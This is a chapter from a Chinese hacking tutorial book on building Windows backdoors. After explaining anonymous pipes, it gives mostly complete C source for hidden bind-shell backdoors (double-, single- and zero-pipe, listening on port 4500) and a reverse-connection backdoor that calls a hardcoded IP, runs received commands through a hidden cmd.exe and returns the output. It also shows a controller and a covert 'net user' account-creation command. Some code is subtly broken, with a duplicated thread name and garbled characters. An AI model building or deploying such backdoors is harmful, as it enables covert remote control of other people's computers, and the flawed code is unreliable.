黑客攻防从入门到精通(Web脚本编程篇·全新升级版)
上QQ阅读APP看书,第一时间看更新

3.2 后门程序需要哪些技术?

shell是指用户与操作系统对话的一个接口,我们发出一个命令,通过shell告诉系统让系统执行黑客的指令。而Shell前面加个前缀“cmd”则表示这个shell的类型为“cmd”,类似平常所说的“webshell”,就是通过Web向服务器发送命令。

在cmdshell中可以执行所有的cmd命令,并将其看作一个通过本地的Telnet来输入命令,而在远程主机cmd上执行,再返回命令指向执行结果的过程,如图所示。

cmdshell执行命令的过程

从上图不难看出,cmdshell有两个通信过程,如果要实现cmdshell就必须解决这两个通信问题。一个是后门和cmd之间的通信,这个过程可以使用管道技术来实现。而另一个是跨越计算机的网络通信,这个过程可以由Winsock编程来实现。

3.2.1 管道通信技术简介

管道通信即发送进程以字符流形式将大量数据送入管道,接收进程可从管道接收数据,二者利用管道进行通信。无论是SQL Server用户,还是PB用户,作为C/S结构开发环境,他们在网络通信的实现上都有一种共同的方法——命名管道。由于当前操作系统的不唯一性,各个系统都有其独自的通信协议,导致了不同系统间通信的困难。尽管TCP/IP协议目前已发展成为Internet的标准,但仍不能保证C/S应用程序的顺利进行。命名管道作为一种通信方法,有其独特的优越性,这主要表现在它不完全依赖于某一种协议,而是适用于任何协议——只要能够实现通信。

管道是连接读写进程的一个特殊文件,允许进程按先进先出方式传送数据,也能使进程同步执行操作。

管道的实质是一个共享文件,基本上可借助于文件系统的机制实现,包括(管道)文件的创建、打开、关闭和读写。进程对通信机构的使用应该互斥,一个进程正在使用某个管道写入或读出数据时,另一个进程就必须等待。发送者和接收者双方必须能够知道对方是否存在,如果对方已经不存在,就没有必要再发送信息。管道长度有限,发送信息和接收信息之间要实现正确的同步关系,当写进程把一定数量的数据写入管道,就去睡眠等待,直到读进程取走数据后,把它唤醒。管道分为匿名管道和命令管道两种,具体介绍如下。

匿名管道(Anonymous Pipes):是在父进程和子进程间单向传输数据的一种未命名的管道,只能在本地计算机中使用,而不可用于网络间的通信。

命名管道:是一种简单的进程间通信(IPC)机制,可在同一台计算机的不同进程之间,或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信。

在编写后门程序的时候用到的是匿名管道,所以这里只介绍匿名管道。该种管道的通信过程如图所示。

匿名管道的通信过程

由于匿名管道是单向的,所以数据传递的方向只能如上图中箭头所示。匿名管道由CreatePipe函数创建,该函数在创建匿名管道的同时返回两个句柄:管道读句柄和管道写句柄。CreatePipe的函数具体格式为:

BOOL CreatePipe(
                        PHANDLE hReadPipe,        // 指向读句柄的指针
                        PHANDLE hWritePipe,       // 指向写句柄的指针
                      LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全
      属性的指针
                        DWORD nSize               // 管道大小
        );

各个参数的含义如下。

· hReadPipe:该参数指向一个管道的读句柄。

· hWritePipe:该参数指向一个管道的写句柄。

· lpPipeAttributes:指向一个SECURITY_ATTRIBUTES结构,用于指定返回的句柄是否可以被子进程继承。该结构的具体格式如下。

typedef struct _SECURITY_ATTRIBUTES {
                                              DWORD nLength; //结构体的大
      小
                                              LPVOID lpSecurityDescriptor;
      //安全描述符
                                              BOOL bInheritHandle;
      //安全描述的对象是否可以被新创建的进程继承
        } SECURITY_ATTRIBUTES;

nSize:该参数的作用是指定管道缓冲区的大小,如果为0则采用缺省缓冲区的大小。

通过hReadPipe和hWritePipe所指向的句柄可分别以只读、只写的方式去访问管道。在使用匿名管道通信时,服务器进程必须将其中的一个句柄传送给客户机进程。句柄的传递多通过继承来完成,服务器进程也允许这些句柄为子进程所继承。此外,进程也可通过诸如DDE或共享内存等形式的进程间通信,将句柄发送给予其不相关联的进程。

在调用CreatePipe函数时,如果管道服务器将lpPipeAttributes指向的SECURITY_ ATTRIBUTES数据结构的数据成员bInheritHandle设置为TRUE,则CreatePipe函数创建的管道读、写句柄将会被继承。管道服务器可调用DuplicateHandle函数改变管道句柄的继承,可以为一个可继承的管道句柄创建一个不可继承的副本或为一个不可继承的管道句柄创建一个可继承的副本。CreateProcess函数还可使管道服务器有能力决定子进程,对其可继承句柄是全部继承还是不继承。

在生成子进程之前,父进程先调用Win32 API SetStdHandle函数使子进程、父进程可共用标准输入、标准输出和标准错误句柄。当父进程向子进程发送数据时,用SetStdHandle将管道的读句柄赋予标准输入句柄;当从子进程接收数据时,则用SetStdHandle函数将管道的写句柄赋予标准输出(或标准错误)句柄。然后,父进程可以调用进程创建函数CreateProcess生成子进程。如果父进程要发送数据到子进程,父进程可调用WriteFile函数将数据写入管道(传递管道写句柄给函数),子进程则调用GetStdHandle函数取得管道的读句柄,将该句柄传入ReadFile函数后从管道读取数据。

如果是父进程从子进程读取数据,则由子进程调用GetStdHandle函数取得管道的写入句柄,并调用WriteFile函数将数据写入管道。然后,父进程调用ReadFile函数从管道读取出数据(传递管道读句柄给函数)。在用WriteFile函数向管道写入数据时,只有在向管道写完指定字节的数据后或是在有错误发生时函数才会返回。如管道缓冲已满而数据还没有写完,WriteFile将要等到另一进程对管道中数据读取,以释放出更多可用空间后才能够返回。管道服务器在调用CreatePipe创建管道时,以参数nSize对管道的缓冲大小作了设定。

匿名管道并不支持异步读、写操作,也就意味着不能在匿名管道中使用ReadFileEx和WriteFileEx函数,而且ReadFile和WriteFile函数中的lpOverLapped参数也将被忽略。匿名管道将在读、写句柄都被关闭后退出,也可以在进程中调用CloseHandle函数来关闭此句柄。

下面就是创建匿名管道的具体代码。

STARTUPINFO si;              //进程启动时被指定的STARTUPINFO结构
        PROCESS_INFORMATION pi;      //创建进程时,该结构返回有关新进程及其主线程
        的信息
        char ReadBuf[100];           //一次性读取的大小
        DWORD ReadNum;               // 管道大小
        HANDLE hRead;                // 管道读句柄
        HANDLE hWrite;               // 管道写句柄
        BOOL bRet = CreatePipe(&hRead, &hWrite, NULL, 0); // 创建匿名管道
        if (bRet == TRUE)
        printf("创建匿名管道案例成功!\n");
        else
        printf("创建匿名管道失败,错误代码:%d\n", GetLastError());
        // 得到本进程的当前标准输出
        HANDLE hTemp = GetStdHandle(STD_OUTPUT_HANDLE);
        // 设置标准输出到匿名管道
        SetStdHandle(STD_OUTPUT_HANDLE, hWrite);
        GetStartupInfo(&si); // 获取本进程的STARTUPINFO结构信息
        bRet  =  CreateProcess(NULL,  "Client.exe",       NULL,  NULL,  TRUE,
      NULL, NULL, NULL, &si, &pi);                        // 创建子进程
        SetStdHandle(STD_OUTPUT_HANDLE, hTemp);           // 恢复本进程的标准输出
        if (bRet == TRUE)                                 // 输入信息
        printf("成功创建子进程!\n");
        else
        printf("创建子进程失败,错误代码:%d\n", GetLastError());
        CloseHandle(hWrite);                              // 关闭写句柄
        // 读管道直至管道关闭
        while (ReadFile(hRead, ReadBuf, 100, &ReadNum, NULL))
        {
        ReadBuf[ReadNum] =     '\0';
        printf("从管道[%s]读取%d字节数据\n", ReadBuf, ReadNum);
        }
        if (GetLastError() == ERROR_BROKEN_PIPE)          // 输出信息
        printf("管道被子进程关闭\n");
        else
        printf("读数据错误,错误代码:%d\n", GetLastError());

3.2.2 正向连接后门的编程

正向连接后门是在被控制计算机上监听一个端口,等待连接,当存在连接后,就会启动后门功能。正向连接后门是最初的后门,非常被动,一旦目标计算机中安装有防火墙,此后门就可能被防火墙拦截。正向连接后门的一般实现流程如图所示。

常见的正向连接后门有双管道后门、单管道后门以及零管道后门3种。

1.双管道后门

双管道后门是在后门中建立两个管道。由于匿名是单向的,所以cmd的执行结果写入管道A的写句柄(hWritePipe),后门从管道A的读句柄(hReadFile)读取cmd执行结果,将接收到的命令写入管道B的写句柄(hWriteFile),最后cmd通过管道B的读句柄(hReadFile)读取命令执行。其实现过程如图所示。

正向连接后门实现流程图

双管道后门实现流程图

下面来创建双管道后门,需要先创建一个TCP客户端。成功创建TCP客户端后,可以使用Create函数来建立两个管道。由于不确定管道A中有数据的时间以及收到指令的时间,这里需要创建两个线程,而每个线程建立一个管道。其中线程B用于循环读取管道A中的数据,当读到数据后,就会发送给后门。线程A的作用是接收数据,一旦接收到数据就会写入管道B中,最后由cmd执行。

下面代码的作用是创建两个线程。

//接受远程主机的命令,并写入管道B
        DWORD WINAPI ThreadA( LPVOID lpParam )
        {
        SECURITY_ATTRIBUTES sa;
        DWORD nByteToWrite, nByteWritten;
        char recv_buff[1024];
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
        //创建管道
        CreatePipe(&hReadPipe, &hWriteFile, &sa,0);
        while(true)
        {
            Sleep(250);
            //接受远程cmd命令
            nByteToWrite = recv(sClient , recv_buff,1024,0);
            //写入管道
            WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL);
        }
        return 0;
        }
        //读取管道A中的数据,返回给远程主机
        DWORD WINAPI ThreadA( LPVOID lpParam )
        {
        SECURITY_ATTRIBUTES sa;
        DWORD len;
        char send_buff[2048];
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.lpSecurityDescriptor = NULL;
        sa.bInheritHandle = TRUE;
            CreatePipe(&hReadFile, &hWritePipe, &sa,0);
        while (true)
        {
            //读取管道中的数据
            ReadFile(hReadFile, send_buff,2048, &len, NULL);
            //把管道中的数据发送给远程主机
                send(sClient, send_buff, len,0);
        }
        return 0;
        }

由于管道没有cmd的输入输出相关联,所以启动后线程A是不能从管道A中读到数据的。同时如果线程B将接收到的命令写入管道B中,cmd也是不会执行的。所以只有把管道和cmd的输入输出相关联并且启动cmd进程后,这两个管道才可以发挥其作用。

此时使用LPSTARTUPINFO结构可以把管道句柄与cmd的输入输出关联起来。这个结构是CreateProcess函数的一个参数,它指定了新进程中主窗口的位置、大小、输入、输出等属性。所以在调用CreateProcess函数前必须对LPSTARTUPINFO结构进行初始化,从而实现管道与cmd输入输出的关联。LPSTARTUPINFO结构的具体格式如下。

typedef struct _STARTUPINFO
        {
            DWORD cb; //包含STARTUPINFO结构中的字节数
            PSTR lpReserved;   //必须初始化为NULL
            PSTR lpDesktop;    //用于标识启动应用程序所在的桌面的名字
            PSTR lpTitle;      //用于设定控制台窗口的名称
            DWORD dwX;         //用于设定应用程序窗口在屏幕上应该放置的位置的x  坐
      标(以像素为单位)
            DWORD dwY;         //用于设定应用程序窗口在屏幕上应该放置的位置的Y坐标
            DWORD dwXSize;     //用于设定应用程序窗口的宽度
            DWORD dwYSize;     //用于设定应用程序窗口的高度
            DWORD dwXCountChars;      //用于设定子应用程序的控制台窗口的宽度和高
      度(以字符为单位)
            DWORD dwYCountChars;      //用于设定子应用程序的控制台窗口的高度
            DWORD dwFillAttribute;    //用于设定子应用程序的控制台窗口使用的文本和
      背景颜色
            DWORD dwFlags;            //设定子应用程序的控制台窗口使用的背景颜色
            WORD wShowWindow;         //用于设定如果子应用程序初次调用的ShowWindow
      将SW_SHOWDEFAULT作为nCmdShow参数传递时,该应用程序的第一个重叠窗口应该如何
      出现
            WORD cbReserved2;         //必须被初始化为0
            PBYTE lpReserved2;        //必须被初始化为NULL
            HANDLE hStdInput;         //用于设定供控制台输入用的缓存的句柄
            HANDLE hStdOutput; 用于设定供控制台输出用的缓存的句柄
            HANDLE hStdError;
        } STARTUPINFO, *LPSTARTUPINFO;

不难看出,这个结构中成员很多。为了方便用户,微软还提供了GetStartupInfo函数。该函数只有一个si参数,该参数指向一个STARTUPINFO。所以可调用GetStartupInfo函数得到当前进程中STARTUPINFO结构,再对其进行修改就可以实现关联了。

其具体格式如下。

GetStartupInfo(&si); //用当前进程初始化信息来定义STARTUPINFO结构
        si.dwFlags  =  STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  //
      dwFlags参数的作用是指定STARTUPINFO结构中有效地参数
        si.hStdInput = hReadPipe;         //从管道B读句柄输入,读取命令
        si.hStdError = hWritePipe;        //错误输出到管道A写句柄
        si.hStdOutput = hWritePipe;       //执行结构从管道写句柄输入
        si.wShowWindow = SW_HIDE;         //隐藏cmd窗口
        到这里就可以实现cmd与管道之间的通信关系,接着就是调用CreateProcess函数启动
    cmd进程了。该函数的具体格式如下。
        BOOL CreateProcess
          (
          LPCTSTR lpApplicationName,
          LPTSTR lpCommandLine,
          LPSECURITY_ATTRIBUTES lpProcessAttributes,
          LPSECURITY_ATTRIBUTES lpThreadAttributes,
          BOOL bInheritHandles,
          DWORD dwCreationFlags,
          LPVOID lpEnvironment,
          LPCTSTR lpCurrentDirectory,
          LPSTARTUPINFO lpStartupInfo,
          LPPROCESS_INFORMATION lpProcessInformation
          );

各个参数的具体含义如下:

· lpApplicationName:指向一个NULL结尾的、用来指定可执行模块的字符串;

· lpCommandLine:指向一个NULL结尾的、用来指定要运行的命令行;

· lpProcessAttributes:描述进程的安全性属性,NULL表示默认的安全性;

· lpThreadAttributes:定义进程初始线程的安全属性,NULL表示默认的安全性;

· bInheritHandles:指示新进程是否从调用进程处继承了句柄;

· dwCreationFlags:指定附加的、用来控制优先类和进程的创建的标志;

· lpEnvironment:指向一个新进程的环境块,如果此参数为空,新进程使用调用进程的环境;

· lpCurrentDirectory:指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径;

· lpStartupInfo:指向一个用于决定新进程的主窗体如何显示STARTUPINFO结构体;

· lpProcessInformation:指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。该结构体的具体格式如下。

typedef struct _PROCESS_INFORMATION {
            HANDLE hProcess;        //存放每个对象的与进程相关的句柄
            HANDLE hThread;         //返回的线程句柄
            DWORD dwProcessId;      //用来存放进程ID号
            DWORD dwThreadId;       //用来存放线程ID号
            } PROCESS_INFORMATION

在创建双管道后门时,调用CreateProcess函数的具体代码如下。

PROCESS_INFORMATION pi;
        Char cmdline[256]={0};
        GetSystemDirectory(cmdline, sizeof(cmdline));            //得到系统进程
          strcat(cmdline, "\\cmd.exe");
        if  (CreateProcess(cmdline,  NULL,  NULL,  NULL,  TRUE,  0,  NULL,
      NULL, &si, &pi) == 0)                                      //创建cmd进程
        {
            printf ("CreateProcess Error \n");
            return 0;
        }
        如果创建cmd进程成功,则返回TURE。至此,就完成一个双管道后门的制作了。

2.单管道后门

对于双管道后门,当有用户连接后会创建一个cmd进程,而这个进程是一直存在的,所以这种后门的隐蔽性就比较差。因此,可以使用单管道后门来弥补这个缺陷。在“运行”对话框中输入“cmd / C net user 123123/add”命令,即可看到“命令提示符”窗口一闪而过,此时在进程列表中并没有留下cmd进程,而用户名已经被添加了。如果创建的后门可以在执行完命令就自动退出,就能实现隐藏自己的目的。由于cmd是带参数创建的,就不需要使用管道来传递指令,此时创建的后门只有一个管道。

下面代码的作用是创建一个单管道后门。

#include "stdafx.h"
        #include <stdio.h>
        #include <winsock2.h>
        #pragma comment(lib, "ws2_32.lib")
        int main(int argc, char* argv[])
        {
        char wMessage[512] = "\r\n=========BackDoor by新起点===========\r\n";
        //初始化socket并监听端口
        SOCKET sClient;
        BYTE minorVer = 2;
        BYTE majorVer = 2;
        WSADATA wsaData;
        WORD sockVersion = MAKEWORD(minorVer, majorVer);
        if(WSAStartup(sockVersion, &wsaData) ! = 0)
                return 0;
        SOCKET sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sListen == INVALID_SOCKET)
        {
            printf("socket error \n");
            return 0;
        }
        sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(4500);
        sin.sin_addr.S_un.S_addr = INADDR_ANY;
        if(bind(sListen,  (LPSOCKADDR)&sin,  sizeof(sin))  ==  SOCKET_
      ERROR)
        {
          printf("bind error \n");
          return 0;
      }
      if(listen(sListen, 5) == SOCKET_ERROR)
      {
          printf("listen error \n");
          return 0;
      }
          //接收连接
          sClient  =accept(sListen, NULL, NULL);
      //发送欢迎信息
      send(sClient, wMessage, strlen(wMessage),0);
      char rBuffer[1024] = {0};
      char cmdline[256]={0};
      //循环,用于接受命令,创建进程执行,并从管道中读出执行结果返回给远程主机
      while(true)
      {
          //cmdline清零
          memset(cmdline,0,256);
          SECURITY_ATTRIBUTES sa;
          HANDLE hRead, hWrite;
          sa.nLength = sizeof(SECURITY_ATTRIBUTES);
          sa.lpSecurityDescriptor = NULL;
          sa.bInheritHandle = TRUE;
          if (! CreatePipe(&hRead, &hWrite, &sa,0))
          {
                printf("CreatePipe Error");
                return 0;
          }
          STARTUPINFO si;
          PROCESS_INFORMATION pi;
          si.cb = sizeof(STARTUPINFO);
          GetStartupInfo(&si);
          //使cmd和管道关联,注意这里和双管道相比少了si.hStdInput = hReadPipe;
    因为输入由带命令执行代替
          si.hStdError = hWrite;
          si.hStdOutput = hWrite;
          si.wShowWindow = SW_HIDE;
          si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
          //得到系统目录
          GetSystemDirectory(cmdline, sizeof(cmdline));
          strcat(cmdline, "\\cmd.exe /c");
          char cmdbuff[256];
          //接受远程命令
          int    rLen=recv(sClient, cmdbuff,256, NULL);
          if(rLen==SOCKET_ERROR)
                return 0;
          //在cmd后加入命令
            strncat(cmdline, cmdbuff, strlen(cmdbuff));
            //创建进程执行命令
            if (! CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si,
      &pi))
            {
                printf("CreateProcess Error");
                continue;
            }
            CloseHandle(hWrite);
            DWORD dwRead;
            //循环,监视管道中的返回信息,也就是执行命令后的返回信息
            while(ReadFile(hRead, rBuffer,1024, &dwRead, NULL))
            {
                //发送执行结果
                send(sClient, rBuffer, strlen(rBuffer),0);
                memset(rBuffer,0,1024);
            }
        }
        return 0;
        }

3.零管道后门

零管道就是不要管道,可直接将接收到的socket赋给cmd.exe的输入和输出。但不是所有socket都可以直接赋值,只有非重叠I\O的socket才可以。可以使用WSASocket函数代替socket函数建立套接字,由于用WSASocket函数建立的套接字可以重叠I\O操作,所以可以直接把套接字和cmd的输入输出关联起来。

具体的关联代码为:si.hStdInput=si.hStdOutput=si.hStdError=(void*)s。

其中si是STARTUPINFO结构,其作用是当socket收到命令时会直接传递给cmd执行,而cmd的执行结果又会被直接传递给socket发送。下面要做的工作就是建立cmd进程,等待进程结束后,再返回执行结果,就可以实现无管道而在cmd和后门之间进行通信。

建立零管道后门的具体代码如下。

#include "stdafx.h"
        #include <stdio.h>
        #include <winsock2.h>
        #pragma comment(lib, "ws2_32.lib")
        int cmdshell(SOCKET s)
        {
        STARTUPINFO si;
        GetStartupInfo(&si);
            si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow=SW_HIDE;
      //使cmd的输入输出直接和socket关联
      si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
      char cmdline[256];
      //得到cmd路径
      GetSystemDirectory(cmdline, sizeof(cmdline));
      strcat(cmdline, "\\cmd.exe");
      PROCESS_INFORMATION ProcessInformation;
      int ret;
      //建立cmd进程
      ret=CreateProcess(NULL, cmdline, NULL, NULL,1,0, NULL, NULL, &si, &Pro
    cessInformation);
      //等待进程结束
      WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
          CloseHandle(ProcessInformation.hProcess);
      return 0;
      }
      int main(int argc, char* argv[])
      {
      char wMessage[512] = "\r\n== 后门开始创建===========\r\n";
      //初始化socket,并且监听端口
      SOCKET sClient;
      BYTE minorVer = 2;
      BYTE majorVer = 2;
      WSADATA wsaData;
      WORD sockVersion = MAKEWORD(minorVer, majorVer);
      if(WSAStartup(sockVersion, &wsaData) ! = 0)
              return 0;
      //设置socket属性
            SOCKET  sListen  =  WSASocket(AF_INET,  SOCK_STREAM,  IPPROTO_
    TCP, NULL, 0, 0);
      if(sListen == INVALID_SOCKET)
      {
          printf("WSASocket error \n");
          return 0;
      }
      sockaddr_in sin;
      sin.sin_family = AF_INET;
      sin.sin_port = htons(4500);
      sin.sin_addr.S_un.S_addr = INADDR_ANY;
      if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
      {
          printf("bind error \n");
          return 0;
      }
      if(listen(sListen, 5) == SOCKET_ERROR)
      {
          printf("listen error \n");
            return 0;
        }
        //接收连接
        sClient  =accept(sListen, NULL, NULL);
        send(sClient, wMessage, strlen(wMessage),0);
        //启动cmdshell
        cmdshell(sClient);
        return 0;

一般情况下,管道后门的运行效率和稳定性还是比较好的,但其唯一的缺陷表现在:一旦连接就会存在cmd进程。

3.2.3 反向连接后门的编程

随着各种各样的防火墙和反病毒软件开始对来自外部的网络连接进行监控,采用正向连接的后门已不能适应现在的网络环境。为了能够继续进行远程控制,后门不得不从体制上进行改变,这就出现了采用反向连接技术的后门。

从本质上来说,反向连接和正向连接的区别并不大。在正向连接的情况下,服务器端也就是被控制端,在编程实现时采用服务器端的编程方法;而控制端在编程实现时采用客户端的编程方法。当采用反向的方法编程时,实际就是将被控制端变成了采用客户端的编程方法,而将控制端变成了采用服务器端的编程方法(Socket)。

反向连接后门就是后门充当客户端,由后门发起连接,即从被控制端的服务器发起连接,而在本地只需监听特定的端口即可。所以,这样的后门可以穿透一些防火墙。和正向连接后门一样,反向连接后门也可分为双管道反向后门、单管道反向后门以及零管道反向后门等3种。其编程方法和正向连接后门相似,这里给出一个示例代码如下。

控制的服务器端代码:

#include <winsock2.h>
        #include <stdio.h>
        #pragma comment(lib, "ws2_32.lib")        //引入程序编译的类库
        int main()
        {
            WSADATA WSAData;
            SOCKET sock;
            sockaddr_in addr_in;
            char buf1[1024];                      //作为socke数组的缓冲区
            memset(buf1,0,1024);                  //缓冲区大小设置
            if(WSAStartup(MAKEWORD(2,0), &WSAData)! =0)//初始化socket
            {
                printf("socket启动异常./n");
                return 0;
          }
          addr_in.sin_family = AF_INET;
          addr_in.sin_port = htons(80);            //请求端口
          addr_in.sin_addr.S_un.S_addr = inet_addr("192.168.21.133");
                                                   //本机IP地址
          if( (sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
          {
              printf("Socket发送失败:%d /n", WSAGetLastError());
              return 0;
          }
          if(WSAConnect(sock, (struct  sockaddr*)&addr_in, sizeof(addr_in),
    NULL, NULL, NULL, NULL) == SOCKET_ERROR)
          {                                        //绑定源地址与套接字
              printf("连接错误: %d/n", WSAGetLastError());
              return 0;
          }
          printf("开始创建管道/n");
          char buffer[2048] = {0};                 //管道输出的数据
          for(char cmdline[270]; ; memset(cmdline,0, sizeof(cmdline)))
          {                                 //绑定cmdshell
              SECURITY_ATTRIBUTES sa;       //创建匿名管道用于取得cmd的命令输出
              HANDLE hRead, hWrite;                //输入和输出管道
              sa.nLength = sizeof(SECURITY_ATTRIBUTES);
              sa.lpSecurityDescriptor = NULL;
              sa.bInheritHandle = true;
                if(! CreatePipe(&hRead, &hWrite, &sa,0))//创建输入输出管道并
    与安全标识符相连
              {
                  printf("创建管道异常/n");
                  return 0;
              }
              printf("创建管道成功/n");
              STARTUPINFO si;                      //被写入hWrite管道
              PROCESS_INFORMATION pi;
              HANDLE hProcess;
              HANDLE hThread;
              DWORD dwProcessID;
              DWORD dwThreadID;
              si.cb = sizeof(STARTUPINFO);
              GetStartupInfo(&si);
              si.hStdError = hWrite;
              si.hStdOutput = hWrite;
              si.wShowWindow = SW_HIDE;
              si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
              GetSystemDirectory(cmdline, MAX_PATH + 1);
    //cmdline里为系统目录
              strcat(cmdline, "//cmd.exe /c ");
              printf("cmdline = %s/n", cmdline);
              int len = recv(sock, buf1,1024, NULL); //接受客户端命令,保存
    在buf1中。程序进入阻塞状态直到接收到客户端的数据才运行下一条命令
              if(len == SOCKET_ERROR) //如果客户端断开连接,则退出程序
                    exit(0);
              if(len <= 1)
              {
                    send(sock, "error/n", sizeof("error/n"),0);
                    continue;
              }
              strncat(cmdline, buf1, strlen(buf1)); //得到完整的命令
              printf("message get: %s/n", cmdline);
                if(! CreateProcess(NULL, cmdline, NULL, NULL, true, NULL, NULL,
    NULL, &si, π))
              {
                    send(sock, "Error command/n", sizeof("Error command/n"),0);
                    continue;
              }
              CloseHandle(hWrite);
                        //循环读出管道中数据并发送,直到管道中没有数据为止
              for(DWORD byteRead; ReadFile(hRead, buffer,2048, &byteRead,
    NULL); memset(buffer,0,2048))
                    send(sock, buffer, strlen(buffer),0);
          }
          return 1;
        }

黑客本机控制端代码:

#include <winsock2.h>
      #include <stdio.h>
      #include <iostream>
      #pragma comment(lib, "ws2_32.lib")
      using namespace std;
      int main()
      {
          WSADATA WSAData;                //初始化定义  socket
          if(WSAStartup(MAKEWORD(2,0), &WSAData)! =0)
          {
              printf("socket启动异常/n");
              return 0;
          }
          SOCKET client;                  //主动连接,相当于server
          client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
          if(client == INVALID_SOCKET)
          {
              printf(" socket连接异常:%ld /n", WSAGetLastError());
              WSACleanup();
              return 0;
          }
          char hostName[128];             //获取本地网络地址
          gethostname(hostName,100);
          hostent *g_pHost;
          g_pHost=gethostbyname(hostName);
          ULONG HostIP = *(ULONG*)g_pHost->h_addr_list[0];
          printf("本机ip为: (%d) /n", HostIP);
          sockaddr_in backdoor;         //绑定socket
          backdoor.sin_family = AF_INET;
          //backdoor.sin_addr.s_addr = inet_addr("127.0.0.1");
          backdoor.sin_addr = *(in_addr *)g_pHost->h_addr_list[0];
          backdoor.sin_port = htons(80);
            if(bind(client, (SOCKADDR  *)&backdoor, sizeof(SOCKADDR))  ==
    SOCKET_ERROR)
          {
              printf("绑定异常: %ld/n", WSAGetLastError());
              closesocket(client);
              return 0;
          }
          if( listen(client,1) == SOCKET_ERROR)    //监听socket
              printf("监听socket  异常/n");
          SOCKET acceptSocket;          //接受socket连接
          sockaddr_in server;
          printf("等待接收socket.../n");
          while(1)
          {
              acceptSocket = SOCKET_ERROR;
              while(acceptSocket == SOCKET_ERROR)
                  acceptSocket = accept(client, (SOCKADDR *)&server, NULL);
              printf("server连接成功/n");
              client = acceptSocket; //client已经取得后门server的地址以及端口
              break;
          }
          printf("从: %s/n", inet_ntoa(server.sin_addr));
          int byteSent;            //发送接收数据
          int byteRecv = SOCKET_ERROR;
          char sendbuf[32] = "ipconfig";
          char recvbuf[2048] = "";
          byteSent = send(client, sendbuf, strlen(sendbuf),0); //发送数据
          printf("发送完成/n");
          byteRecv = recv(client, recvbuf,2048,0);            //接收数据
          printf("Byte Recv: %d /n", byteRecv);
          printf("收到回复: %s/n", recvbuf);
          cout<<recvbuf;
          return 1;
      }